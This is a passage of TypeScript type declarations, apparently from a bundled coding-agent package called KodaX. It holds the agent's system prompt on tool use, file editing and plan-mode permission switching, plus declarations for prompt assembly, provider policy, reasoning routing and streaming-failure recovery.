declare const SYSTEM_PROMPT = "You are KodaX, a helpful multi-provider coding agent. You can read, write, and edit files, and execute shell commands.\n\n## Error Handling\n\nWhen a tool call returns an error:\n1. STOP and READ the error message carefully\n2. DO NOT repeat the same tool call with the same parameters\n3. Identify what's wrong (missing parameter? wrong type? wrong path?)\n4. Fix the issue BEFORE making another tool call\n5. Common errors:\n - \"Missing required parameter 'X'\" -> Add the missing parameter to your JSON\n - \"File not found\" -> Check the path with read or glob first\n - \"String not found\" -> Read the file again to see exact content\n\nWhen a shell command fails, prefer this recovery order:\n1. Check whether a specialized tool can solve the task directly\n2. Fix the command itself (quoting, workdir, platform-specific command, smaller scope)\n3. Split the task into smaller read/edit/write steps\n4. Only create a helper script when repeated inline commands are clearly less safe or less maintainable\n\n## Editing Files\n\n- Always read the file first to understand its current content\n- Make precise, targeted edits rather than rewriting entire files\n- Preserve the existing code style and formatting\n- Do not create new files unless the user asks for one or the task genuinely needs one. Prefer editing an existing file to creating a new one, as this prevents file bloat and keeps each tool call small\n- When a modification is scoped to an existing file, ALWAYS prefer `edit` over `write`. Only fall back to `write` when no file exists yet or the user explicitly requested a complete rewrite\n\n## Tool Usage\n\nPrefer specialized tools over shell for file operations:\n- Use read to view files instead of cat, head, or tail\n- Use edit to modify existing files instead of sed or awk when possible\n- Use write to create new files instead of echo redirection or heredocs\n- Use glob or grep for file discovery and content search before falling back to shell\n- When multiple read-only tool calls are independent, emit them in the same response so parallel mode can run them together\n- Only serialize tool calls when a later call depends on an earlier result\n- Keep parallel batches focused: prefer a few narrow grep/read/diff calls over many tiny sequential probes\n\nRead is intentionally bounded:\n- A single read call only returns a limited slice of a file\n- For large files, continue with offset/limit instead of retrying a whole-file read\n- Prefer grep first, then read the specific section you need\n\nTool outputs are also bounded:\n- Large bash output may be truncated to the tail\n- Large grep results and diffs may be summarized\n- When you see a truncation hint, narrow the next tool call instead of repeating the same broad request\n- If edit fails to find a stable anchor, do not rewrite the entire existing file with write; retry with a smaller unique edit anchor or use insert_after_anchor for section appends\n\nIf you truly need a script:\n- Do NOT create temporary scripts or scratch files in the project root\n- Do NOT place them at `.agent/` top level \u2014 that directory is reserved for system-managed artifacts (managed-tasks/, project/, repo-intelligence/, etc.)\n- Write them to `.agent/tmp/` (relative to the git root). This is the designated ephemeral workspace; files there can be safely cleaned up later\n- Alternatively, use the system temp directory if the script does not need to be inspectable from the project\n- Treat helper scripts as a last resort, not the default recovery path\n\n## Shell Commands\n\n- Be careful with destructive operations\n- Reserve shell commands for terminal operations such as git, package managers, builds, tests, and system commands\n- Prefer read-only operations when possible\n- For file edits, prefer read/edit/write over shell transforms unless shell scripting is genuinely more efficient\n\n### Cross-Platform Notes\n\nDifferent platforms have different commands:\n- Move: `move` (Windows) vs `mv` (Unix/Mac)\n- List: `dir` (Windows) vs `ls` (Unix/Mac)\n- Delete: `del` (Windows) vs `rm` (Unix/Mac)\n\n**IMPORTANT: Directories are created automatically by the `write` tool.**\n- NEVER use `mkdir` before writing files - the write tool handles directory creation\n- If you truly need an empty directory: `mkdir dir` (Windows) or `mkdir -p dir` (Unix)\n\nIf you see \"not recognized\", \"\u4E0D\u662F\u5185\u90E8\u6216\u5916\u90E8\u547D\u4EE4\", or a similar shell lookup error, the command does not exist on this platform. Try the platform equivalent.\n\n## Multi-step Tasks\n\n- Track your progress by listing what you've done and what's next\n- Break complex tasks into smaller steps\n- Summarize progress periodically\n\n## Plan Before Action\n\nFor any non-trivial task (creating files, editing code, running complex commands):\n1. First explain your understanding of the task\n2. Outline your approach (what files, what changes, what order)\n3. Consider potential issues (edge cases, dependencies, conflicts)\n4. Then execute step by step\n\nFor simple read-only tasks (reading a file, listing directory), just do it directly.\n\nIf the environment is currently in a read-only planning mode:\n- Do not try to write files or run mutating shell commands during planning\n- Finish the plan first\n- After the plan is complete, use `ask_user_question` to ask whether the user wants to proceed with implementation\n- If the user confirms, call `set_permission_mode` with `mode: \"accept-edits\"` to switch to implementation mode\n- If the user declines, stay in plan mode \u2014 do NOT call `set_permission_mode`\n\n## Asking User Questions\n\nWhen you need the user to make decisions, use `ask_user_question`.\n- For **multiple independent questions**, use the `questions` array (1-4 items). Each question has its own `question`, `header`, `options`, and optional `multi_select`. The user answers each question separately. Do NOT combine multiple questions into a single question string with pre-combined option combinations.\n- For a **single question**, use the `question` + `options` fields as before.\n- For **free-text input**, use `kind: \"input\"`.\n\nAlways explain what you're doing before taking action.\n\n{context}";
|
|
1512
|
+
|
|
1513
|
+
type KodaXPromptSectionSlot = 'base' | 'runtime-context' | 'session-context' | 'capability-truth' | 'base-suffix' | 'mode-overlay' | 'project-rules' | 'skill-addendum' | 'specialist';
|
|
1514
|
+
type KodaXPromptSectionStability = 'stable' | 'dynamic' | 'project' | 'specialist';
|
|
1515
|
+
interface KodaXPromptSectionDefinition {
|
|
1516
|
+
id: string;
|
|
1517
|
+
title: string;
|
|
1518
|
+
owner: 'prompts' | 'reasoning' | 'project' | 'skills' | 'agent';
|
|
1519
|
+
feature: string;
|
|
1520
|
+
slot: KodaXPromptSectionSlot;
|
|
1521
|
+
order: number;
|
|
1522
|
+
stability: KodaXPromptSectionStability;
|
|
1523
|
+
}
|
|
1524
|
+
interface KodaXPromptSection extends KodaXPromptSectionDefinition {
|
|
1525
|
+
inclusionReason: string;
|
|
1526
|
+
content: string;
|
|
1527
|
+
}
|
|
1528
|
+
interface KodaXPromptSnapshotMetadata {
|
|
1529
|
+
isNewSession: boolean;
|
|
1530
|
+
executionCwd: string;
|
|
1531
|
+
projectRoot: string;
|
|
1532
|
+
longRunning: boolean;
|
|
1533
|
+
}
|
|
1534
|
+
interface KodaXPromptSnapshot {
|
|
1535
|
+
kind: 'system';
|
|
1536
|
+
sections: KodaXPromptSection[];
|
|
1537
|
+
rendered: string;
|
|
1538
|
+
hash: string;
|
|
1539
|
+
metadata: KodaXPromptSnapshotMetadata;
|
|
1540
|
+
}
|
|
1541
|
+
declare const PROMPT_SECTION_REGISTRY: Record<string, KodaXPromptSectionDefinition>;
|
|
1542
|
+
declare function createPromptSection(id: keyof typeof PROMPT_SECTION_REGISTRY, content: string, inclusionReason: string): KodaXPromptSection;
|
|
1543
|
+
declare function orderPromptSections(sections: KodaXPromptSection[]): KodaXPromptSection[];
|
|
1544
|
+
declare function renderPromptSections(sections: KodaXPromptSection[]): string;
|
|
1545
|
+
declare function buildPromptSnapshot(sections: KodaXPromptSection[], metadata: KodaXPromptSnapshotMetadata): KodaXPromptSnapshot;
|
|
1546
|
+
|
|
1547
|
+
/**
|
|
1548
|
+
* KodaX Prompt Builder
|
|
1549
|
+
*
|
|
1550
|
+
* Builds effective prompts through an explicit section registry so prompt
|
|
1551
|
+
* truth can be snapshotted, attributed, and regression-tested.
|
|
1552
|
+
*
|
|
1553
|
+
* v0.7.35.1 FEATURE_142 Batch E: the 13 capability-context sections
|
|
1554
|
+
* formerly inlined here have been hoisted to
|
|
1555
|
+
* `./capability-sections.ts:buildCapabilityContextSections`. This file
|
|
1556
|
+
* keeps the SA-path orchestration (cwd resolution, snapshot assembly)
|
|
1557
|
+
* and delegates section construction to the shared helper. SA output
|
|
1558
|
+
* is byte-equivalent to the pre-Batch E rendering — `builder.test.ts`
|
|
1559
|
+
* is the integration-level guard for that contract.
|
|
1560
|
+
*/
|
|
1561
|
+
|
|
1562
|
+
/**
|
|
1563
|
+
* Build a sectionized snapshot of the effective system prompt.
|
|
1564
|
+
*/
|
|
1565
|
+
declare function buildSystemPromptSnapshot(options: KodaXOptions, isNewSession: boolean): Promise<KodaXPromptSnapshot>;
|
|
1566
|
+
/**
|
|
1567
|
+
* Build the rendered system prompt used for provider calls.
|
|
1568
|
+
*/
|
|
1569
|
+
declare function buildSystemPrompt(options: KodaXOptions, isNewSession: boolean): Promise<string>;
|
|
1570
|
+
|
|
1571
|
+
/**
|
|
1572
|
+
* v0.7.35.1 FEATURE_142 Batch E — Capability Context Sections.
|
|
1573
|
+
*
|
|
1574
|
+
* Single source of truth for the 13 capability-context prompt sections
|
|
1575
|
+
* the SA path (`buildSystemPromptSnapshot` in `builder.ts`) assembles.
|
|
1576
|
+
* Extracted to dedupe with a future AMA worker integration (Batch F /
|
|
1577
|
+
* v0.7.36 FEATURE_143). Each section's id, order, content shape, and
|
|
1578
|
+
* inclusion condition is preserved byte-equivalently from
|
|
1579
|
+
* builder.ts:32-181 (pre-Batch E).
|
|
1580
|
+
*
|
|
1581
|
+
* The 13 sections, in order:
|
|
1582
|
+
* 1. base-system (always)
|
|
1583
|
+
* 2. base-system-suffix (when SYSTEM_PROMPT has `{context}` marker)
|
|
1584
|
+
* 3. environment-context (always)
|
|
1585
|
+
* 4. runtime-fact (when provider or model is set)
|
|
1586
|
+
* 5. working-directory (always)
|
|
1587
|
+
* 6. git-context (when isNewSession AND repo has git output)
|
|
1588
|
+
* 7. project-snapshot (when isNewSession)
|
|
1589
|
+
* 8. repo-intelligence-context (when context.repoIntelligenceContext)
|
|
1590
|
+
* 9. mcp-capability-context (when extensionRuntime returns mcp ctx)
|
|
1591
|
+
* 10. prompt-overlay (when context.promptOverlay)
|
|
1592
|
+
* 11. project-agents (when AGENTS.md / CLAUDE.md found)
|
|
1593
|
+
* 12. skills-addendum (when context.skillsPrompt)
|
|
1594
|
+
* 13. tool-construction (when toolConstructionMode includes it)
|
|
1595
|
+
*
|
|
1596
|
+
* Why this lives in `@kodax-ai/coding/src/prompts/` and NOT
|
|
1597
|
+
* `@kodax-ai/agent/`:
|
|
1598
|
+
* - All callers (builder.ts SA path + future AMA role-prompt) are
|
|
1599
|
+
* coding-internal. A future `@kodax-ai/data-analysis-agent` would
|
|
1600
|
+
* have its own builder + role-prompt with its own section set
|
|
1601
|
+
* (e.g. `prompt-overlay` is coding-routing-specific). Cross-agent
|
|
1602
|
+
* reuse is at the **pattern** level (each agent has its own
|
|
1603
|
+
* `capability-sections.ts`), not the **content** level.
|
|
1604
|
+
* - Hoisting to `@kodax-ai/agent/` would force `@kodax-ai/agent` →
|
|
1605
|
+
* `@kodax-ai/skills` / `@kodax-ai/mcp` cross-package dependencies,
|
|
1606
|
+
* breaking the "agent doesn't depend on application-layer
|
|
1607
|
+
* packages" promise.
|
|
1608
|
+
* - The drift problem this batch solves is "SA / AMA assemble the
|
|
1609
|
+
* same content twice" — a coding-internal duplication, not a
|
|
1610
|
+
* cross-package boundary issue.
|
|
1611
|
+
*
|
|
1612
|
+
* Behavior contract: the SA path's emitted sections array (and thus
|
|
1613
|
+
* `KodaXPromptSnapshot.rendered`) MUST stay byte-equivalent to the
|
|
1614
|
+
* pre-Batch E `buildSystemPromptSnapshot` output. `builder.test.ts` is
|
|
1615
|
+
* the integration-level guard for this contract.
|
|
1616
|
+
*/
|
|
1617
|
+
|
|
1618
|
+
/**
|
|
1619
|
+
* Build the full ordered set of capability-context prompt sections for
|
|
1620
|
+
* the given options + session state. The caller is responsible for
|
|
1621
|
+
* passing the result to `buildPromptSnapshot()` (or whatever assembler
|
|
1622
|
+
* the agent uses); this helper only emits the section list.
|
|
1623
|
+
*
|
|
1624
|
+
* `executionCwd` is OPTIONAL — when omitted, this helper calls
|
|
1625
|
+
* `resolveExecutionCwd(options.context)` internally. Passing it
|
|
1626
|
+
* explicitly is supported as a perf shortcut for callers that have
|
|
1627
|
+
* already resolved cwd for other purposes (e.g. `builder.ts` uses the
|
|
1628
|
+
* same value to populate the snapshot's `executionCwd` field), but
|
|
1629
|
+
* **the explicit value MUST equal `resolveExecutionCwd(options.context)`
|
|
1630
|
+
* or the `working-directory` section will diverge from the snapshot
|
|
1631
|
+
* metadata** — a subtle source of drift if a future caller resolves
|
|
1632
|
+
* cwd differently. Prefer the no-arg form unless you have a documented
|
|
1633
|
+
* reason to override.
|
|
1634
|
+
*/
|
|
1635
|
+
declare function buildCapabilityContextSections(options: KodaXOptions, isNewSession: boolean, executionCwdOverride?: string): Promise<KodaXPromptSection[]>;
|
|
1636
|
+
|
|
1637
|
+
declare function checkIncompleteToolCalls(toolBlocks: KodaXToolUseBlock[]): string[];
|
|
1638
|
+
|
|
1639
|
+
/**
|
|
1640
|
+
* Prompt content builder — CAP-009
|
|
1641
|
+
*
|
|
1642
|
+
* Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-009
|
|
1643
|
+
*
|
|
1644
|
+
* Pure function that turns the entry user prompt into the right shape for
|
|
1645
|
+
* the provider's first message:
|
|
1646
|
+
*
|
|
1647
|
+
* - text-only prompt + no input artifacts → return the string as-is
|
|
1648
|
+
* (lets the provider use its compact text-message path)
|
|
1649
|
+
* - text + image artifacts (paste / drag) → return a multimodal content
|
|
1650
|
+
* block array: a text block followed by one image block per artifact
|
|
1651
|
+
*
|
|
1652
|
+
* Always applied at the SINGLE SA entry-message build site
|
|
1653
|
+
* (`agent.ts:1263`); the runner-driven (AMA) path hits the same function via
|
|
1654
|
+
* the package re-export.
|
|
1655
|
+
*
|
|
1656
|
+
* Migration history: extracted from `input-artifacts.ts` to `agent-runtime/`
|
|
1657
|
+
* during FEATURE_100 P2. The companion `extractPromptComparableText` /
|
|
1658
|
+
* `extractComparableUserMessageText` helpers stay in `input-artifacts.ts`
|
|
1659
|
+
* for now; they migrate to `agent-runtime/middleware/auto-resume.ts` when
|
|
1660
|
+
* CAP-046 (duplicate-message detection) lands.
|
|
1661
|
+
*/
|
|
1662
|
+
|
|
1663
|
+
declare function buildPromptMessageContent(prompt: string, inputArtifacts?: readonly KodaXInputArtifact[]): string | KodaXContentBlock[];
|
|
1664
|
+
|
|
1665
|
+
/**
|
|
1666
|
+
* Auto-resume / session-continuation middleware — CAP-008 + CAP-046
|
|
1667
|
+
*
|
|
1668
|
+
* Capability inventory:
|
|
1669
|
+
* - docs/features/v0.7.29-capability-inventory.md#cap-008-initialmessages-session-continuation
|
|
1670
|
+
* - docs/features/v0.7.29-capability-inventory.md#cap-046-duplicate-user-message-detection
|
|
1671
|
+
*
|
|
1672
|
+
* Three concerns colocated here because they are all triggered at frame
|
|
1673
|
+
* entry and consume the same `KodaXOptions.session` field:
|
|
1674
|
+
*
|
|
1675
|
+
* 1. **`extractPromptComparableText` / `extractComparableUserMessageText`**
|
|
1676
|
+
* — canonicalise text content for the duplicate-message check
|
|
1677
|
+
* (returns string for primitive content, joined text-block content
|
|
1678
|
+
* otherwise). Re-exported from `../../input-artifacts.ts` to preserve
|
|
1679
|
+
* the public API path.
|
|
1680
|
+
*
|
|
1681
|
+
* 2. **`resolveInitialMessages`** (CAP-008) — at frame entry, picks ONE
|
|
1682
|
+
* of three source paths and returns the resolved transcript bundle:
|
|
1683
|
+
* a. `options.session.initialMessages` provided (REPL multi-turn,
|
|
1684
|
+
* plan-mode replay) → clone + extract title from messages.
|
|
1685
|
+
* b. `options.session.storage` + `sessionId` provided → load and
|
|
1686
|
+
* normalise via `normalizeLoadedSessionMessages` (FEATURE_076
|
|
1687
|
+
* Q4 worker-trace shape repair).
|
|
1688
|
+
* c. neither → returns empty messages, no title, no metadata.
|
|
1689
|
+
*
|
|
1690
|
+
* 3. **`appendPromptIfNotDuplicate`** (CAP-046) — pushes a fresh
|
|
1691
|
+
* `user` message UNLESS the last message of the transcript is
|
|
1692
|
+
* already that prompt (canonical compare). Prevents double-push
|
|
1693
|
+
* when REPL re-feeds the same prompt to a mid-flight `runKodaX`.
|
|
1694
|
+
*
|
|
1695
|
+
* Migration history:
|
|
1696
|
+
* - `extractPromptComparableText` + `extractComparableUserMessageText`
|
|
1697
|
+
* moved here from `input-artifacts.ts:11-32` (deferred from CAP-009
|
|
1698
|
+
* extraction in earlier P2 batches).
|
|
1699
|
+
* - `resolveInitialMessages` extracted from `agent.ts:1485-1503` (the
|
|
1700
|
+
* `if (options.session?.initialMessages...)` block — pre-FEATURE_100
|
|
1701
|
+
* baseline).
|
|
1702
|
+
* - `appendPromptIfNotDuplicate` extracted from `agent.ts:1503-1511`
|
|
1703
|
+
* (the duplicate-detection + push block — pre-FEATURE_100 baseline).
|
|
1704
|
+
*
|
|
1705
|
+
* All extractions during FEATURE_100 P2.
|
|
1706
|
+
*/
|
|
1707
|
+
|
|
1708
|
+
declare function extractPromptComparableText(content: string | readonly KodaXContentBlock[]): string;
|
|
1709
|
+
declare function extractComparableUserMessageText(message: KodaXMessage | undefined): string | undefined;
|
|
1710
|
+
|
|
1711
|
+
type KodaXProviderSourceKind = 'builtin' | 'runtime' | 'custom' | 'unknown';
|
|
1712
|
+
interface KodaXProviderCapabilitySnapshot {
|
|
1713
|
+
provider: string;
|
|
1714
|
+
model?: string;
|
|
1715
|
+
sourceKind: KodaXProviderSourceKind;
|
|
1716
|
+
transport: KodaXProviderCapabilityProfile['transport'];
|
|
1717
|
+
conversationSemantics: KodaXProviderCapabilityProfile['conversationSemantics'];
|
|
1718
|
+
mcpSupport: KodaXProviderCapabilityProfile['mcpSupport'];
|
|
1719
|
+
contextFidelity: NonNullable<KodaXProviderCapabilityProfile['contextFidelity']>;
|
|
1720
|
+
toolCallingFidelity: NonNullable<KodaXProviderCapabilityProfile['toolCallingFidelity']>;
|
|
1721
|
+
sessionSupport: NonNullable<KodaXProviderCapabilityProfile['sessionSupport']>;
|
|
1722
|
+
longRunningSupport: NonNullable<KodaXProviderCapabilityProfile['longRunningSupport']>;
|
|
1723
|
+
multimodalSupport: NonNullable<KodaXProviderCapabilityProfile['multimodalSupport']>;
|
|
1724
|
+
evidenceSupport: NonNullable<KodaXProviderCapabilityProfile['evidenceSupport']>;
|
|
1725
|
+
reasoningCapability: KodaXReasoningCapability;
|
|
1726
|
+
}
|
|
1727
|
+
type KodaXProviderPolicyIssueSeverity = 'warn' | 'block';
|
|
1728
|
+
interface KodaXProviderPolicyIssue {
|
|
1729
|
+
code: string;
|
|
1730
|
+
severity: KodaXProviderPolicyIssueSeverity;
|
|
1731
|
+
summary: string;
|
|
1732
|
+
detail: string;
|
|
1733
|
+
}
|
|
1734
|
+
interface KodaXProviderPolicyDecision {
|
|
1735
|
+
status: 'allow' | 'warn' | 'block';
|
|
1736
|
+
snapshot: KodaXProviderCapabilitySnapshot;
|
|
1737
|
+
issues: KodaXProviderPolicyIssue[];
|
|
1738
|
+
routingNotes: string[];
|
|
1739
|
+
summary: string;
|
|
1740
|
+
}
|
|
1741
|
+
interface EvaluateProviderPolicyOptions {
|
|
1742
|
+
providerName: string;
|
|
1743
|
+
model?: string;
|
|
1744
|
+
provider?: KodaXBaseProvider;
|
|
1745
|
+
capabilityProfile?: KodaXProviderCapabilityProfile;
|
|
1746
|
+
reasoningCapability?: KodaXReasoningCapability;
|
|
1747
|
+
prompt?: string;
|
|
1748
|
+
options?: Pick<KodaXOptions, 'context'>;
|
|
1749
|
+
context?: KodaXContextOptions;
|
|
1750
|
+
hints?: KodaXProviderPolicyHints;
|
|
1751
|
+
reasoningMode?: KodaXReasoningMode;
|
|
1752
|
+
taskType?: KodaXTaskType;
|
|
1753
|
+
executionMode?: KodaXExecutionMode;
|
|
1754
|
+
}
|
|
1755
|
+
declare function buildProviderCapabilitySnapshot(options: {
|
|
1756
|
+
providerName: string;
|
|
1757
|
+
model?: string;
|
|
1758
|
+
provider?: KodaXBaseProvider;
|
|
1759
|
+
capabilityProfile?: KodaXProviderCapabilityProfile;
|
|
1760
|
+
reasoningCapability?: KodaXReasoningCapability;
|
|
1761
|
+
}): KodaXProviderCapabilitySnapshot;
|
|
1762
|
+
declare function buildProviderPolicyPromptNotes(decision: KodaXProviderPolicyDecision): string[];
|
|
1763
|
+
declare function evaluateProviderPolicy(options: EvaluateProviderPolicyOptions): KodaXProviderPolicyDecision;
|
|
1764
|
+
|
|
1765
|
+
interface ReasoningPlan {
|
|
1766
|
+
mode: KodaXReasoningMode;
|
|
1767
|
+
depth: KodaXThinkingDepth;
|
|
1768
|
+
decision: KodaXTaskRoutingDecision;
|
|
1769
|
+
amaControllerDecision: KodaXAmaControllerDecision;
|
|
1770
|
+
promptOverlay: string;
|
|
1771
|
+
providerPolicy?: KodaXProviderPolicyDecision;
|
|
1772
|
+
}
|
|
1773
|
+
interface RoutingEvidenceInput {
|
|
1774
|
+
recentMessages?: KodaXMessage[];
|
|
1775
|
+
sessionErrorMetadata?: SessionErrorMetadata;
|
|
1776
|
+
additionalSignals?: string[];
|
|
1777
|
+
repoSignals?: KodaXRepoRoutingSignals;
|
|
1778
|
+
}
|
|
1779
|
+
/**
|
|
1780
|
+
* Resolve the **L1 user ceiling** for reasoning depth.
|
|
1781
|
+
*
|
|
1782
|
+
* In FEATURE_078 (v0.7.29) the semantics of `--reasoning <mode>` /
|
|
1783
|
+
* `options.reasoningMode` shifted from "all roles use this mode" to
|
|
1784
|
+
* "ceiling + bias for default": a hard upper bound on per-role depth
|
|
1785
|
+
* with the same value also serving as the suggested default when an
|
|
1786
|
+
* Agent declaration has no profile of its own.
|
|
1787
|
+
*
|
|
1788
|
+
* This function continues to return the user-supplied mode unchanged —
|
|
1789
|
+
* what changed is how downstream code consumes it. Direct callers that
|
|
1790
|
+
* still treat the return value as the final per-role depth will get
|
|
1791
|
+
* pre-FEATURE_078 behaviour (everything pinned to `userCeiling`); they
|
|
1792
|
+
* are migrated in this same patch to call `resolveRoleReasoning(...)`
|
|
1793
|
+
* instead, which honours the L1-L4 chain.
|
|
1794
|
+
*/
|
|
1795
|
+
declare function resolveReasoningMode(options: KodaXOptions): KodaXReasoningMode;
|
|
1796
|
+
declare function reasoningModeToDepth(mode: KodaXReasoningMode): KodaXThinkingDepth;
|
|
1797
|
+
declare function inferTaskType(prompt: string): KodaXTaskType;
|
|
1798
|
+
declare function buildFallbackRoutingDecision(prompt: string, providerPolicy?: KodaXProviderPolicyDecision, routingEvidence?: RoutingEvidenceInput): KodaXTaskRoutingDecision;
|
|
1799
|
+
declare function buildProviderPolicyHintsForDecision(decision: KodaXTaskRoutingDecision): KodaXProviderPolicyHints;
|
|
1800
|
+
declare function buildAmaControllerDecision(decision: KodaXTaskRoutingDecision): KodaXAmaControllerDecision;
|
|
1801
|
+
declare function buildPromptOverlay(decision: KodaXTaskRoutingDecision, extraNotes?: string[], _providerPolicy?: KodaXProviderPolicyDecision, amaControllerDecision?: KodaXAmaControllerDecision): string;
|
|
1802
|
+
declare function createReasoningPlan(options: KodaXOptions, prompt: string, provider: KodaXBaseProvider, routingEvidence?: RoutingEvidenceInput): Promise<ReasoningPlan>;
|
|
1803
|
+
|
|
1804
|
+
/**
|
|
1805
|
+
* Promise-signal split for thinking-mode replay — CAP-039
|
|
1806
|
+
*
|
|
1807
|
+
* Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-039-promise-signal-split-for-thinking-mode-replay
|
|
1808
|
+
*
|
|
1809
|
+
* Recognises the convention used by managed-protocol harnesses (Scout,
|
|
1810
|
+
* Planner, Generator, Evaluator) to embed a single-line signal at the end
|
|
1811
|
+
* of an assistant turn — e.g. `[CONFIRMED H1_EXECUTE_EVAL]` — that downstream
|
|
1812
|
+
* lifecycle code (scout-signals.ts, evaluator gating, etc.) inspects to
|
|
1813
|
+
* decide whether to advance the harness state.
|
|
1814
|
+
*
|
|
1815
|
+
* Returns `[signal, residual]` where:
|
|
1816
|
+
* - `signal` — uppercased tag (e.g. `CONFIRMED`) or `''` when absent
|
|
1817
|
+
* - `residual` — the second capture group from `PROMISE_PATTERN`, used
|
|
1818
|
+
* by callers that want the post-signal explanatory text
|
|
1819
|
+
*
|
|
1820
|
+
* The pattern is owned by `constants.ts` so any future tweak to the
|
|
1821
|
+
* grammar happens in one place.
|
|
1822
|
+
*
|
|
1823
|
+
* Migration history: extracted from `agent.ts:763-767` (pre-FEATURE_100 baseline)
|
|
1824
|
+
* during FEATURE_100 P2.
|
|
1825
|
+
*/
|
|
1826
|
+
declare function checkPromiseSignal(text: string): [string, string];
|
|
1827
|
+
|
|
1828
|
+
/**
|
|
1829
|
+
* KodaX Resilience Config (Feature 045)
|
|
1830
|
+
*
|
|
1831
|
+
* Resolves effective resilience configuration by merging
|
|
1832
|
+
* defaults, global config, and per-provider overrides.
|
|
1833
|
+
*/
|
|
1834
|
+
|
|
1835
|
+
/**
|
|
1836
|
+
* Default resilience configuration values.
|
|
1837
|
+
* These are used when no explicit config is provided.
|
|
1838
|
+
*/
|
|
1839
|
+
declare const DEFAULT_RESILIENCE_CONFIG: Required<ProviderResilienceConfig>;
|
|
1840
|
+
/**
|
|
1841
|
+
* Resolves the effective resilience configuration for a given provider.
|
|
1842
|
+
*
|
|
1843
|
+
* Merge order (later wins):
|
|
1844
|
+
* 1. Built-in defaults
|
|
1845
|
+
* 2. Global config (from KodaXOptions or config file)
|
|
1846
|
+
* 3. Per-provider policy override (exact provider name match)
|
|
1847
|
+
*
|
|
1848
|
+
* @param providerName - The provider to resolve config for
|
|
1849
|
+
* @param globalConfig - Optional global override
|
|
1850
|
+
* @param perProvider - Optional per-provider policy list
|
|
1851
|
+
* @returns Fully resolved config with all fields populated
|
|
1852
|
+
*/
|
|
1853
|
+
declare function resolveResilienceConfig(providerName: string, globalConfig?: ProviderResilienceConfig, perProvider?: ProviderResiliencePolicy[]): Required<ProviderResilienceConfig>;
|
|
1854
|
+
|
|
1855
|
+
/**
|
|
1856
|
+
* KodaX Resilience Error Classifier (Feature 045)
|
|
1857
|
+
*
|
|
1858
|
+
* Upgrades the basic error-classification.ts with fine-grained
|
|
1859
|
+
* error classes and failure stage detection for the recovery ladder.
|
|
1860
|
+
*
|
|
1861
|
+
* The original classifyError() is preserved for backward compatibility.
|
|
1862
|
+
* This module provides classifyResilienceError() with richer semantics.
|
|
1863
|
+
*/
|
|
1864
|
+
|
|
1865
|
+
/**
|
|
1866
|
+
* Classifies an error for the resilience system.
|
|
1867
|
+
*
|
|
1868
|
+
* Returns a ResilienceClassification with:
|
|
1869
|
+
* - errorClass: Fine-grained error category
|
|
1870
|
+
* - failureStage: When in the request lifecycle the error occurred
|
|
1871
|
+
* - retryable: Whether automatic retry is appropriate
|
|
1872
|
+
* - maxRetries: Maximum retry attempts
|
|
1873
|
+
* - baseRetryDelay: Base delay between retries (ms)
|
|
1874
|
+
*
|
|
1875
|
+
* @param error - The error to classify
|
|
1876
|
+
* @param currentStage - The current failure stage context (if known)
|
|
1877
|
+
*/
|
|
1878
|
+
declare function classifyResilienceError(error: Error, currentStage?: FailureStage): ResilienceClassification;
|
|
1879
|
+
|
|
1880
|
+
/**
|
|
1881
|
+
* KodaX Stable Boundary Tracker (Feature 045)
|
|
1882
|
+
*
|
|
1883
|
+
* Tracks the "stable boundary" during provider streaming — the point
|
|
1884
|
+
* up to which all content is fully committed and can be safely recovered to.
|
|
1885
|
+
*
|
|
1886
|
+
* Stable boundary = index after the last fully committed assistant message
|
|
1887
|
+
* or tool result. Content beyond this point (live streaming text, incomplete
|
|
1888
|
+
* tool call JSON) is considered unstable and will be discarded on recovery.
|
|
1889
|
+
*/
|
|
1890
|
+
|
|
1891
|
+
declare class StableBoundaryTracker {
|
|
1892
|
+
private state;
|
|
1893
|
+
private hasReceivedFirstDelta;
|
|
1894
|
+
private currentToolInputId;
|
|
1895
|
+
constructor();
|
|
1896
|
+
/**
|
|
1897
|
+
* Called before each provider request attempt.
|
|
1898
|
+
* Resets streaming state but preserves stable boundary position.
|
|
1899
|
+
*/
|
|
1900
|
+
beginRequest(provider: string, model: string, messages: KodaXMessage[], attempt?: number, fallbackUsed?: boolean): void;
|
|
1901
|
+
/**
|
|
1902
|
+
* Called when the first stream delta is received.
|
|
1903
|
+
* Updates the failure stage from "before_first_delta" to "mid_stream_*".
|
|
1904
|
+
*/
|
|
1905
|
+
markFirstDelta(): void;
|
|
1906
|
+
/**
|
|
1907
|
+
* Called when text delta is received.
|
|
1908
|
+
* Tracks the amount of live (unstable) text.
|
|
1909
|
+
*/
|
|
1910
|
+
markTextDelta(text: string): void;
|
|
1911
|
+
/**
|
|
1912
|
+
* Called when thinking delta is received.
|
|
1913
|
+
*/
|
|
1914
|
+
markThinkingDelta(text: string): void;
|
|
1915
|
+
/**
|
|
1916
|
+
* Called when tool input streaming starts.
|
|
1917
|
+
* Adds the tool call to the pending list.
|
|
1918
|
+
*/
|
|
1919
|
+
markToolInputStart(toolCallId: string): void;
|
|
1920
|
+
/**
|
|
1921
|
+
* Called when a tool has been successfully executed.
|
|
1922
|
+
* Moves the tool from pending to executed and advances the stable boundary.
|
|
1923
|
+
*/
|
|
1924
|
+
markToolExecuted(toolCallId: string): void;
|
|
1925
|
+
/**
|
|
1926
|
+
* Called when the assistant message is complete (stream ended normally).
|
|
1927
|
+
* This advances the stable boundary past the current assistant message.
|
|
1928
|
+
*/
|
|
1929
|
+
markAssistantComplete(messages: KodaXMessage[]): void;
|
|
1930
|
+
/**
|
|
1931
|
+
* Returns the current failure stage based on tracker state.
|
|
1932
|
+
*/
|
|
1933
|
+
inferFailureStage(): FailureStage;
|
|
1934
|
+
/**
|
|
1935
|
+
* Returns a read-only snapshot of the current execution state.
|
|
1936
|
+
*/
|
|
1937
|
+
snapshot(): Readonly<ProviderExecutionState>;
|
|
1938
|
+
/**
|
|
1939
|
+
* Whether any delta has been received in the current request.
|
|
1940
|
+
*/
|
|
1941
|
+
get hasReceivedDelta(): boolean;
|
|
1942
|
+
/**
|
|
1943
|
+
* Recovers to the last stable boundary.
|
|
1944
|
+
*
|
|
1945
|
+
* Reconstructs the message list from the stable boundary forward,
|
|
1946
|
+
* preserving executed tool results and discarding unstable content.
|
|
1947
|
+
*
|
|
1948
|
+
* @param messages - The current (possibly corrupted) message list
|
|
1949
|
+
* @returns Recovery info with reconstructed messages and metadata
|
|
1950
|
+
*/
|
|
1951
|
+
recoverToStableBoundary(messages: KodaXMessage[]): {
|
|
1952
|
+
messages: KodaXMessage[];
|
|
1953
|
+
